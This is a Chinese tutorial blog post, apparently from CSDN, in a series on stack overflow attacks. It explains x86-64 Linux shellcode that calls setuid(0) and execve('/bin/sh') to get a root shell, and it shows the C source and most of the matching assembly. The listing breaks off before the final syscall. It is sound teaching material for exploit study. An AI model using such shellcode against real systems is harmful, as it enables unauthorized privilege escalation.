linux x64 shellcode,栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(二)shellcode...

本文介绍了如何在Linux x64环境下编写和使用Shellcode来获得root权限。通过理解shellcode的工作原理,利用汇编代码和系统调用来实现。示例展示了从C代码到汇编再到Shellcode的转换过程,并最终成功执行shell。
摘要由CSDN通过智能技术生成

shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。

既然是攻击,那shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。

第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。

第二种是通过调用libc里syscall(64位)和sysenter(32位)

而目前在64位linux中推荐使用syscall,因为opcode是16进制的指令集合,可以通过先出汇编代码,然后编译成执行代码,最后查看opcode.

既然我们是想获得root权限,而且能够继续执行shell, 那么我们通常会使用下面代码(先不讨论linux相关的知识)。

shell.c

#include

int main(){

setuid(0);

execve("/bin/sh",NULL,NULL);

}而所对应的汇编代码如下

global _start

_start:

xor rdi,rdi

xor rax,rax

mov al,0x69

syscall

xor rdx, rdx

mov rbx, 0x68732f6e69622fff

shr rbx, 0x8

push rbx

mov rdi, rsp

xor rax, rax

push rax

push rdi

mov rsi, rsp

mov al, 0x3b

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值